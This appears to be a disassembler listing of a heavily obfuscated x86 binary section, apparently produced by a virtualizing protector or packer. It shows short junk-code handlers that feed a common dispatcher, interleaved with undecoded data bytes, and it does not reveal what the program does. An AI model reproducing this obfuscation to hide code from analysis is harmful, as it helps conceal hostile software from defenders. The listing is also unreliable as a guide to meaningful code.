loc_58EFFE:				; CODE XREF: sdfs____:00590C9Cj
		push	esi
		jmp	loc_5967E3
; ---------------------------------------------------------------------------


loc_58F004:				; CODE XREF: sdfs____:00596192j
		jg	loc_58BC09
		jmp	loc_58BEB9
; ---------------------------------------------------------------------------
aLSr_		db '‹$$éà.',0
		dw 0F600h
		dd 8EB252D7h, 8F0FCAFEh, 0FFFFD6E1h, 808DF280h,	870FCDC2h
		dd 490Ch, 0F280D2F6h, 80CAFE21h, 0EA80E5EAh, 15DB02Eh
		dd 5D04246Ch, 396F68h, 241C8900h, 1F56ADBBh, 2444812Ah
		dd 0CA79BE04h, 245C2944h, 246C8104h, 0CA79BE04h, 0D5E944h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58F06A:				; CODE XREF: sdfs____:00597ECFj
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		push	56FAh
		mov	[esp], ebp
		push	7698h
		mov	[esp], ebx
		mov	ebx, 618D4FADh
		jmp	loc_590D33
; ---------------------------------------------------------------------------
		db 46h,	0E9h, 64h
		dd 5CFFFFF0h, 4A30F66h,	26E99C24h, 52FFFFC9h, 4EC81h, 0ADE90000h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------


loc_58F0AB:				; CODE XREF: sdfs____:00597BB6j
		inc	ebx
		jle	loc_596E44
		push	edi
		jmp	loc_595EF0
; ---------------------------------------------------------------------------
		dd 4C481h, 57510000h, 0CAFE11B2h, 53A9F280h, 5166C0B7h
		dd 0DDF6FD88h, 8B66EF88h, 0C483240Ch, 0E35E902h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58F0DE:				; CODE XREF: sdfs____:005924FCj
		push	ecx
		mov	ch, 0CDh
		sub	al, ch
		pop	ecx
		sub	al, dl
		add	al, 0CDh
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_58E28D
; ---------------------------------------------------------------------------
		db 0B9h, 30h, 40h
		dd 414110B2h, 2FE98141h, 8910B240h, 0EF8159CEh,	532F53FFh
		dd 89E9F701h
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58F123:				; CODE XREF: sdfs____:00598A1Cj
		push	esi
		mov	esi, eax
		mov	edi, esi
		pop	esi
		pop	eax
		and	eax, edi
		mov	edi, [esp]
		jmp	loc_5903A1
; ---------------------------------------------------------------------------


loc_58F134:				; CODE XREF: sdfs____:00590699j
		push	cx
		mov	cx, 0F23h
		jmp	loc_5927B7
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0FFC880E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58F145:				; CODE XREF: sdfs____:00598627j
		mov	esi, 0F06C41h
		inc	esi
		and	esi, 4F995E34h
		jmp	loc_58FB35
; ---------------------------------------------------------------------------
		dw 3166h
		dd 0E99C2404h, 0FFFFC865h
; ---------------------------------------------------------------------------


loc_58F160:				; CODE XREF: sdfs____:00590D65j
		pop	eax
		add	edi, ebp
		jmp	loc_58F706
; ---------------------------------------------------------------------------
		dd 4A86CD81h, 18E97B36h
		db 2Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58F173:				; CODE XREF: sdfs____:0058D50Aj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		jmp	loc_591B52
; ---------------------------------------------------------------------------
		dd 0EE81D6F7h, 0B4C39AD8h, 295EF029h, 579C05E8h, 2C8B79CDh
		dd 4C48124h, 5000000h, 0AE64377h, 7F74E9h
		db 0
; ---------------------------------------------------------------------------


loc_58F1B5:				; CODE XREF: sdfs____:00594410j
		add	eax, 3A127CDCh
		mov	edi, [esp]
		add	esp, 4
		shl	eax, cl
		push	5A84h
		jmp	loc_591723
; ---------------------------------------------------------------------------


loc_58F1CF:				; CODE XREF: sdfs____:0059450Ej
		sub	ecx, 237813C1h
		push	edx
		push	edi
		mov	edi, 543D5A10h
		mov	edx, 0C2550A80h
		sub	edx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_58FA91
; ---------------------------------------------------------------------------
		dw 0EB01h
		dd 2C3835Dh, 0E9241C87h, 0FFFFF396h
; ---------------------------------------------------------------------------


loc_58F1FC:				; CODE XREF: sdfs____:0058D489j
		push	1B41h
		mov	[esp], ebp
		push	edx
		push	esi
		push	288C2884h
		pop	esi
		add	esi, 3FE85442h
		jmp	loc_592AFB
; ---------------------------------------------------------------------------


loc_58F217:				; CODE XREF: sdfs____:0058E257j
		pop	esi
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		jmp	loc_592BDC
; ---------------------------------------------------------------------------
		db 8Bh
		dd 48B2424h, 7D866824h,	99E90000h, 5300004Dh, 0C381E389h
		dd 4, 8704EB83h, 248B241Ch, 24148924h, 8F68E289h, 8900007Dh
		dd 4B82404h, 0E9000000h, 0FFFFED96h, 0E909B753h, 82E6h
; ---------------------------------------------------------------------------


loc_58F264:				; CODE XREF: sdfs____:00593C11j
		pop	ebx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_58E1EA
; ---------------------------------------------------------------------------


loc_58F270:				; CODE XREF: sdfs____:0058D895j
		sub	edi, esi
		pop	esi
		jmp	loc_593D6A
; ---------------------------------------------------------------------------


loc_58F278:				; CODE XREF: sdfs____:00593FC7j
		add	ecx, 4
		push	ebx
		mov	ebx, 0DBD01D5h
		jmp	loc_58F2A7
; ---------------------------------------------------------------------------
		db 0BAh, 0CCh, 6Fh
		dd 0C28174BCh, 8B439038h, 18EEC181h, 0C1816BE6h, 33E869A6h
		dd 8FE9D101h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58F2A7:				; CODE XREF: sdfs____:0058F284j
		dec	ebx
		push	3316h
		mov	[esp], ebx
		not	dword ptr [esp]
		pop	ebx
		push	edx
		mov	edx, 38A651B0h
		sub	ebx, edx
		pop	edx
		sub	ebx, 0B99CAC79h
		add	ecx, 7AE0398Ah
		sub	ecx, ebx
		jmp	loc_596F6A
; ---------------------------------------------------------------------------
		dd 89242C89h, 4C581E5h,	81000000h, 4EDh, 229BE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58F2E6:				; CODE XREF: sdfs____:00592341j
		xchg	eax, [esp]
		jmp	loc_5904DA
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 187B14BBh, 80C7814Fh, 812C545Ch, 0BB4E74E7h,	0E3CCE907h
		dd 248BFFFFh, 1B6DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58F30E:				; CODE XREF: sdfs____:0058C5ACj
		push	edx
		mov	edx, 232017D8h
		push	ebx
		mov	ebx, 0
		push	edi
		mov	edi, 298E010Fh
		sub	edi, 1825D093h
		jmp	loc_590EB5
; ---------------------------------------------------------------------------
aPirsc		db 'P䈎C\',0
		dw 5600h
		dd 8904EC83h, 9BB241Ch,	51489709h, 0FFD69AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58F345:				; CODE XREF: sdfs____:0058C36Ej
		mov	ecx, 449B5FC6h
		push	edx
		mov	edx, 1D5D6642h
		xor	ecx, edx
		pop	edx
		add	esi, ecx
		pop	ecx
		sub	esi, 2D870FDDh
		jmp	loc_598BAB
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 0D318F5BDh, 1863B952h, 0E931681Ah, 8BC1815Dh, 0E9257D51h
		dd 8855h, 4EC81h, 1C890000h, 5FCBB24h, 0EA813D63h, 176C2116h
		dd 0C281DA29h, 176C2116h, 81241C8Bh, 4C4h, 3E2C100h, 5528CA81h
		dd 5AE967FDh, 6800002Bh, 5279h,	50241C89h, 0E0CE7B0h, 10C9E9h
		db 0
; ---------------------------------------------------------------------------


loc_58F3C1:				; CODE XREF: sdfs____:0058BAF6j
		add	eax, 4
		xor	eax, [esp]
		jmp	loc_593381
; ---------------------------------------------------------------------------


loc_58F3CC:				; CODE XREF: sdfs____:0058EF4Cj
		push	0AD6h
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_58F3DB:				; CODE XREF: sdfs____:0058D964j
		or	[esp], eax
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
		dd 0D2F69CB2h, 1543E9h
		db 0
; ---------------------------------------------------------------------------


loc_58F3ED:				; CODE XREF: sdfs____:00594A40j
		push	ecx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 1C57316Eh
		dec	esi
		xor	esi, 29B02E1Ah
		jl	loc_58D625
		or	esi, 1BB73311h
		jmp	loc_594CCC
; ---------------------------------------------------------------------------
aIso		db 'IéŽ/',0
		align 2
		dw 30ACh
		dd 0E18951D8h, 4C181h, 0BA520000h, 4, 515AD129h, 0FFC6C6E9h
		dd 0D1F759FFh, 0F681CE87h, 0CA2D687Bh, 825BA52h, 70E918C3h
		dd 0ADFFFFCEh, 8904EC83h, 0F9B9240Ch, 0C1106073h, 555108E9h
		dd 225FE9h
		db 0
; ---------------------------------------------------------------------------


loc_58F461:				; CODE XREF: sdfs____:005954AFj
		dec	edi
		shr	edi, 8
		push	ebp
		mov	ebp, 72243488h
		sub	edi, ebp
		pop	ebp
		jmp	loc_598377
; ---------------------------------------------------------------------------


loc_58F473:				; CODE XREF: sdfs____:005939A4j
		mov	edi, 4AD11602h
		sub	ecx, edi
		pop	edi
		push	ebx
		mov	ebx, 0
		jmp	loc_597C7D
; ---------------------------------------------------------------------------


loc_58F486:				; CODE XREF: sdfs____:0058E65Ej
		pop	ebp
		jmp	loc_592EF8
; ---------------------------------------------------------------------------
		dd 4C481h, 0BA520000h, 4, 815AD701h, 4C7h, 0CA42E900h
		dd 0C581FFFFh, 427711B7h, 0FFDA13E9h, 241489FFh, 0EC81A2B2h
		dd 2, 24148966h, 662414F6h, 8BC2805Ah, 0FD8E870Fh, 0B753FFFFh
		dd 11EDE909h, 8B5B0000h, 8158240Ch, 5C003C5h, 5DEB01C5h
		dd 31241C33h, 1C33241Ch, 24248B24h, 0F66F9F6h, 6866CCB6h
		dd 89660CBEh, 0CFE9240Ch, 28000098h, 0B05059EFh, 0FE2F044Bh
		dd 0C4FEE9C0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58F512:				; CODE XREF: sdfs____:0058D651j
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_58F517:				; CODE XREF: sdfs____:00596A35j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		shr	eax, 0Ah
		jmp	loc_591713
; ---------------------------------------------------------------------------


loc_58F52D:				; CODE XREF: sdfs____:00596370j
		xor	edx, ebx
		jmp	loc_5975DE
; ---------------------------------------------------------------------------
aSqs		db '(Øéïs',0
		db 0
; ---------------------------------------------------------------------------


loc_58F53B:				; CODE XREF: sdfs____:0058C8DBj
		pop	dword ptr [esp]
		pop	esp
		mov	fs:[edx], al
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
		db 81h
		dd 6F29BCC9h, 0C6C1810Fh, 0E9A39F69h, 0FFFFE77Bh, 81242489h
		dd 42404h, 148B0000h, 4C48324h,	4C281h,	46E90000h
		db 28h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58F573:				; CODE XREF: sdfs____:005917C3j
		mov	edi, ebp
		jmp	loc_596AD7
; ---------------------------------------------------------------------------
		dw 0F4Bh
		dd offset word_5DE38E
		dd 3E3C100h, 0EBC1D3F7h, 4EC8106h, 89000000h, 0BE56243Ch
		dd 6A963467h, 348BF789h, 4C48124h, 0E9000000h, 0FFFFE9B2h
; ---------------------------------------------------------------------------


loc_58F5A8:				; CODE XREF: sdfs____:0058BA87j
		add	esp, 4
		mov	dx, [esp]
		sub	esp, 4
		jmp	loc_5938E9
; ---------------------------------------------------------------------------
		dw 0D029h
		dd 4258BB53h, 0DBF74368h, 10FD68h, 24048900h, 4A74F9B8h
		dd 0E9C30173h, 83D8h, 8124048Fh, 42404h, 6EE90000h, 6600002Dh
		dd 53240C8Bh, 0C3815B54h, 4, 2B5A68h, 243C8900h, 2BFh
		dd 8BFB0100h, 0E957243Ch, 0FFFFE20Bh
; ---------------------------------------------------------------------------


loc_58F60C:				; CODE XREF: sdfs____:0059865Fj
		mov	ecx, 4
		jmp	loc_596346
; ---------------------------------------------------------------------------


loc_58F616:				; CODE XREF: sdfs____:005930CAj
		pop	edi
		push	353Ch
		jmp	loc_59781D
; ---------------------------------------------------------------------------
		db 1, 0DAh, 0E9h
		dd 411Dh
; ---------------------------------------------------------------------------


loc_58F628:				; CODE XREF: sdfs____:00593114j
		pop	eax
		add	edx, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_598B88
; ---------------------------------------------------------------------------


loc_58F637:				; CODE XREF: sdfs____:005934A8j
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_58C595
; ---------------------------------------------------------------------------


loc_58F640:				; CODE XREF: sdfs____:00592A5Fj
		xor	edx, esi
		mov	esi, [esp]
		jmp	loc_5928F6
; ---------------------------------------------------------------------------
		dw 3489h
		dd 38A4BE24h, 0EE813B80h, 3B8038A0h, 0FFF801E9h, 0E6E95AFFh
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58F663:				; CODE XREF: sdfs____:00596E27j
		jmp	loc_58F96D
; ---------------------------------------------------------------------------


loc_58F668:				; CODE XREF: sdfs____:00590666j
		pop	esp
		xor	esi, 2A3D4D2Ch
		and	eax, esi
		pop	esi
		shr	eax, 12h
		xor	eax, ecx
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		not	ecx
		push	2E81h
		mov	[esp], eax
		jmp	loc_590C07
; ---------------------------------------------------------------------------


loc_58F68C:				; CODE XREF: sdfs____:00597FC9j
		add	edx, 4
		push	64F3h
		jmp	loc_5916A5
; ---------------------------------------------------------------------------


loc_58F699:				; CODE XREF: sdfs____:005951B5j
		pop	esi
		not	esi
		add	esi, 2A5BC7A2h
		and	esi, 58C94159h
		jmp	loc_58E35A
; ---------------------------------------------------------------------------


loc_58F6AD:				; CODE XREF: sdfs____:0058FB40j
					; sdfs____:00592235j
		add	dword ptr [esp], 78D35A3Dh
		mov	ecx, [esp]
		jmp	loc_591207
; ---------------------------------------------------------------------------


loc_58F6BC:				; CODE XREF: sdfs____:0058BA1Ej
		mov	ecx, esp
		push	edi
		mov	edi, 49DA418Eh
		inc	edi
		sub	edi, 49DA418Bh
		add	ecx, edi
		pop	edi
		jmp	loc_594D40
; ---------------------------------------------------------------------------
		db 0Fh
		dd 0FFC54A8Bh, 53EA81FFh, 0F59AF53h, 6BB489h, 240C3300h
		dd 0E9240C31h, 67A4h, 0FFC2D0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58F6F5:				; CODE XREF: sdfs____:00594886j
		sub	al, 73h
		pop	ecx
		push	ecx
		jmp	loc_595F04
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 64FE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58F706:				; CODE XREF: sdfs____:0058F163j
		pop	ebp
		push	eax
		mov	eax, edi
		push	eax
		pop	ebp
		pop	eax
		mov	edi, [esp]
		jmp	loc_590E70
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 4
		dd 87000000h, 895C2434h, 0E954241Ch, 0FFFFE4B0h
; ---------------------------------------------------------------------------


loc_58F728:				; CODE XREF: sdfs____:00596673j
		pop	ebp
		add	esp, 4
		add	ebp, 4
		push	esi
		mov	esi, 2
		push	ebx
		mov	ebx, 5FBA44B1h
		sub	ebp, ebx
		pop	ebx
		jmp	loc_58D3D7
; ---------------------------------------------------------------------------


loc_58F749:				; CODE XREF: sdfs____:005969D8j
		push	dx
		not	word ptr [esp]
		inc	word ptr [esp]
		mov	dx, [esp]
		add	esp, 2
		jmp	loc_590688
; ---------------------------------------------------------------------------


loc_58F75F:				; CODE XREF: sdfs____:005984E8j
		pop	esp
		add	esp, 4
		jmp	loc_595AE2
; ---------------------------------------------------------------------------
		dd 8E60282Dh, 51D82902h, 8E6028B9h, 0E579E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58F77A:				; CODE XREF: sdfs____:00595F4Cj
		xor	esi, 3E19768Ch
		jmp	loc_591879
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 582434FFh, 81E68956h, 4ECh, 242C8900h, 0F230C3BDh, 0EFF58113h
		dd 5541DC00h, 5D2414F7h, 8104E5C1h, 0DD5BBAE5h,	7F1CE926h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58F7B6:				; CODE XREF: sdfs____:005964CFj
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 2
		jmp	loc_59535C
; ---------------------------------------------------------------------------


loc_58F7C7:				; CODE XREF: sdfs____:00597280j
		mov	ecx, esp
		jmp	loc_590FA7
; ---------------------------------------------------------------------------
		dw 30ACh
		dd 0F79FE9D8h, 8B66FFFFh, 0E0E92404h
		db 0C3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58F7DF:				; CODE XREF: sdfs____:0058E0F2j
		add	edi, 4
		jmp	loc_58CC3A
; ---------------------------------------------------------------------------


loc_58F7EA:				; CODE XREF: sdfs____:00591B21j
		add	bl, ah
		jmp	loc_598CB3
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 0AEh
		dd 10DAF76h, 0C8B59CEh,	4C48324h, 22526858h, 14890000h
		dd 0BE565624h, 47844CB0h, 4246C81h, 2F2B5010h, 4247429h
		dd 4244481h, 2F2B5010h,	0FFD6D3E9h, 58C328FFh, 6602EC83h
		dd 0E9240C89h, 0FFFFE50Ah
; ---------------------------------------------------------------------------


loc_58F838:				; CODE XREF: sdfs____:loc_592AFBj
		add	esi, 0A17C92E8h
		mov	edx, esi
		jmp	loc_591F0F
; ---------------------------------------------------------------------------


loc_58F845:				; CODE XREF: sdfs____:00590A27j
		sub	ecx, 3BAC6FB4h
		sub	ecx, 6B9C5908h
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_58BEF0
; ---------------------------------------------------------------------------
		dd 0F82BE94Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58F862:				; CODE XREF: sdfs____:005910F7j
		add	edi, ecx
		pop	ecx
		sub	esi, edi
		pop	edi
		jmp	loc_58DC2A
; ---------------------------------------------------------------------------


loc_58F86D:				; CODE XREF: sdfs____:0058D930j
		pop	ecx
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		push	dword ptr [eax]
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_58F87F:				; CODE XREF: sdfs____:00596421j
		shr	ebx, 7
		js	loc_597A32
		shl	ebx, 4
		shr	ebx, 1
		sub	ebx, 0A7CE0381h
		push	edx
		push	ebp
		mov	ebp, 50AA4EA5h
		mov	edx, ebp
		pop	ebp
		or	ebx, edx
		mov	edx, [esp]
		jmp	loc_5929C1
; ---------------------------------------------------------------------------
		db 0FFh
a4SF		db '4$é»”',0
		dw 100h
		dd 0D92D5EF0h, 0E93DF372h, 44E7h
; ---------------------------------------------------------------------------


loc_58F8BC:				; CODE XREF: sdfs____:00591CC5j
		sub	bl, 0A5h
		sub	bl, cl
		add	bl, 0A5h
		pop	ecx
		push	edx
		jmp	loc_5956D1
; ---------------------------------------------------------------------------
		db 66h
		dd 68240C8Bh, 371Fh, 0E9243C89h, 4657h,	0E904E9C1h, 1EA2h
; ---------------------------------------------------------------------------


loc_58F8E4:				; CODE XREF: sdfs____:00596F11j
		sub	eax, ecx
		pop	ecx
		sub	eax, 715936A8h
		jmp	loc_59271E
; ---------------------------------------------------------------------------


loc_58F8F1:				; CODE XREF: sdfs____:0058FACDj
		xchg	ecx, [esp]
		mov	esp, [esp]
		xchg	ebp, [esp]
		mov	esp, [esp]
		and	[esp], al
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_58F906:				; CODE XREF: sdfs____:0059554Bj
		xchg	eax, edi
		push	eax
		mov	eax, 4D392E31h
		xor	edi, eax
		mov	eax, [esp]
		add	esp, 4
		xor	ebx, edi
		pop	edi
		push	eax
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		push	edi
		mov	edi, 4
		add	ebp, 1CF44CD8h
		add	ebp, edi
		sub	ebp, 1CF44CD8h
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_58F960:				; CODE XREF: sdfs____:0059251Ej
		add	ebx, edi
		jmp	loc_590A52
; ---------------------------------------------------------------------------


loc_58F967:				; CODE XREF: sdfs____:00590895j
		pop	esp
		jmp	loc_59533D
; ---------------------------------------------------------------------------


loc_58F96D:				; CODE XREF: sdfs____:loc_58F663j
		add	ebx, 0FFFFFFFFh
		push	edi
		jmp	loc_59832E
; ---------------------------------------------------------------------------
		dw 0F281h
		dd 720E5BC8h, 148BD389h, 4C48124h, 0E9000000h, 0FFFFC900h
		dd 22BBAh, 0C8E95609h, 52FFFFCCh, 9476DEBAh, 4E74E96Ah
		dd 0C2810000h, 896EE191h, 90FDE9h, 24143100h, 8B241433h
		dd 0E0E92424h
		db 48h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58F9BB:				; CODE XREF: sdfs____:0058E225j
		shr	ebx, 4
		jmp	loc_596C6B
; ---------------------------------------------------------------------------
		db 0F7h
		dd 15C581D5h, 0E98DD278h, 9DCh,	8244C01h, 7802E9h
		db 0
; ---------------------------------------------------------------------------


loc_58F9D9:				; CODE XREF: sdfs____:00591110j
		pop	ebx
		push	ebp
		jmp	loc_592523
; ---------------------------------------------------------------------------


loc_58F9E0:				; CODE XREF: sdfs____:005904D5j
		pop	edi
		xchg	eax, [esp]
		mov	esp, [esp]
		cmp	cl, al
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_58F9EF:				; CODE XREF: sdfs____:0058CEF7j
		pop	edx
		xor	eax, esi
		jmp	loc_593791
; ---------------------------------------------------------------------------
		db 83h
		dd 48F04C4h, 24248B24h,	81EE9h,	0BFBBE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58FA0A:				; CODE XREF: sdfs____:0058C77Cj
		push	ebx
		push	63184048h
		pop	ebx
		sub	ebx, 0D764A94Ch
		jmp	loc_58E644
; ---------------------------------------------------------------------------


loc_58FA1C:				; CODE XREF: sdfs____:00590D34j
		sub	ebx, 56E55FF5h
		jmp	loc_596A8D
; ---------------------------------------------------------------------------


loc_58FA27:				; CODE XREF: sdfs____:00590B7Cj
		add	eax, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_597E15
; ---------------------------------------------------------------------------
		db 2Dh,	32h, 37h
		dd 0BDE95ADDh, 59FFFFCDh, 0E95BDE89h, 7786h, 0D6A4F281h
		dd 0DA29A1CAh, 57DCE9h,	0B1516600h, 66C8003Ch, 81240C8Bh
		dd 2C4h, 2CE80000h, 40E9593Ch, 0F7FFFFF9h, 0F7CD87D9h
		dd 81E5D1DDh, 0F4534CF5h, 5DEA0165h, 4EA81h, 14330000h
		dd 24143124h, 0C69E9h
		db 0
; ---------------------------------------------------------------------------


loc_58FA91:				; CODE XREF: sdfs____:0058F1E9j
		sub	ecx, edx
		pop	edx
		jmp	loc_591819
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 0FBh
		dd 5722535Fh, 79427EBFh, 95E94F44h
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58FAAB:				; CODE XREF: sdfs____:005979FBj
		mov	ebx, 2
		add	ebp, 35453EDDh
		add	ebp, ebx
		sub	ebp, 35453EDDh
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_58F8F1
; ---------------------------------------------------------------------------


loc_58FAD2:				; CODE XREF: sdfs____:00594AA1j
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_596214
; ---------------------------------------------------------------------------
		dd 81242489h, 42404h, 48B0000h,	0EBFDE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58FAF2:				; CODE XREF: sdfs____:0058E25Ej
		not	dword ptr [esp]
		pop	ebx
		neg	ebx
		jmp	loc_58D0A9
; ---------------------------------------------------------------------------
		db 0B6h, 55h, 0B4h
		dd 8BF4302Eh, 76E92414h
		db 72h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58FB0B:				; CODE XREF: sdfs____:0058CEB4j
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_58FB10:				; CODE XREF: sdfs____:00594F5Cj
		xor	ecx, 0D7961CA1h
		add	ebp, ecx
		jmp	loc_592B4E
; ---------------------------------------------------------------------------
		dd offset dword_455248+25620h
		align 2
		dw 1489h
aSdb		db '$éDb',0
		align 2
		dw 48Bh
		dd 4C48324h, 0FFBFF8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58FB35:				; CODE XREF: sdfs____:0058F151j
		dec	esi
		add	esi, 7F5B33F5h
		xor	edx, esi
		pop	esi
		push	edx
		jmp	loc_58F6AD
; ---------------------------------------------------------------------------


loc_58FB45:				; CODE XREF: sdfs____:00590AD4j
		add	esp, 4
		jmp	loc_596F96
; ---------------------------------------------------------------------------
aBVreSci	db 'ÇvRe',27h,'éçI',0
		align 4
		unicode	0, <h>,0
		dd 241C8B00h, 922AE950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58FB66:				; CODE XREF: sdfs____:0059062Cj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_58E2A4
; ---------------------------------------------------------------------------
		db 5Fh,	8Fh, 4
		dd 24248B24h, 0FF241C89h, 8B042474h, 0E957241Ch, 4AC3h
; ---------------------------------------------------------------------------


loc_58FB8C:				; CODE XREF: sdfs____:00596EDDj
		add	eax, 517346D1h
		sub	eax, 64B43C8h
		jmp	loc_595F2C
; ---------------------------------------------------------------------------
		db 53h
		dd 0C381E389h, 4, 8FC4E9h
		db 0
; ---------------------------------------------------------------------------


loc_58FBA9:				; CODE XREF: sdfs____:0058FCCEj
		movzx	eax, al
		mov	dx, [esp]
		jmp	loc_58ED34
; ---------------------------------------------------------------------------
		db 33h,	2Ch, 24h
		dd 0F24248Bh, 8957C8BEh, 4C781E7h, 83000000h, 3C8704EFh
		dd 4895C24h, 5E08924h, 4, 4BA52h, 4AE90000h
		db 0C3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58FBE3:				; CODE XREF: sdfs____:0058EADCj
		pop	esp
		push	5049h
		mov	[esp], ebp
		jmp	loc_597D3F
; ---------------------------------------------------------------------------


loc_58FBF1:				; CODE XREF: sdfs____:0058C5B3j
		mov	edx, 0C60157DFh
		add	edi, edx
		pop	edx
		jmp	loc_591AE7
; ---------------------------------------------------------------------------


loc_58FBFE:				; CODE XREF: sdfs____:005933A5j
		jge	loc_5934E7
		add	esi, 0AD4ECA24h
		push	eax
		mov	dh, bh
		push	ebx


loc_58FC0E:				; CODE XREF: sdfs____:005963B1j
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_592A37
; ---------------------------------------------------------------------------
		dd offset dword_455248+1EC20h
		dd 24348900h, 7693E9h, 4EC8100h, 89000000h, 39E92424h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58FC37:				; CODE XREF: sdfs____:00592A72j
		pop	ebx
		push	6BA2h
		mov	[esp], ebx
		mov	ebx, 0
		add	ebx, eax
		mov	[ebx], cl
		push	dword ptr [esp]
		pop	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_594933
; ---------------------------------------------------------------------------
		db 33h,	0Ch, 24h
		dd 6624248Bh, 2404AB0Fh, 0BD53E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58FC72:				; CODE XREF: sdfs____:0059284Ej
		mov	ecx, 60B24476h
		mov	eax, ecx
		pop	ecx
		jmp	loc_59587A
; ---------------------------------------------------------------------------
		db 1
		dd 42D5FF8h, 87000000h,	545C2404h, 6824048Fh, 65BDh, 2C47E9h
		db 0
; ---------------------------------------------------------------------------


loc_58FC99:				; CODE XREF: sdfs____:00597748j
		shr	edx, 4
		jmp	loc_58CD7E
; ---------------------------------------------------------------------------
		db 59h,	81h, 0C2h
		dd 603A24A6h, 0BF57FA01h, 1BAD36BAh, 8E7C147h, 0E908E7C1h
		dd 141Dh, 0C1815954h, 4, 86E95157h
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58FCCB:				; CODE XREF: sdfs____:00591B9Bj
		pop	ecx
		xor	bl, al
		jmp	loc_58FBA9
; ---------------------------------------------------------------------------


loc_58FCD3:				; CODE XREF: sdfs____:00590A70j
		pop	ebp
		shl	eax, 4
		shl	eax, 5
		shr	eax, 8
		sub	eax, 273279h
		push	eax
		mov	ebp, [esp]
		add	esp, 4
		pop	eax
		and	eax, ebp
		jmp	loc_592095
; ---------------------------------------------------------------------------


loc_58FCF4:				; CODE XREF: sdfs____:0059596Fj
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_58C2CE
; ---------------------------------------------------------------------------
		dw 0E8C1h
		dd 14F75003h, 0E984E924h, 34FFFFFFh, 24048B24h,	6804C483h
		dd 5516h, 54243C89h, 95B9515Fh,	0E9666B3Eh, 1D25h, 8BD8015Ah
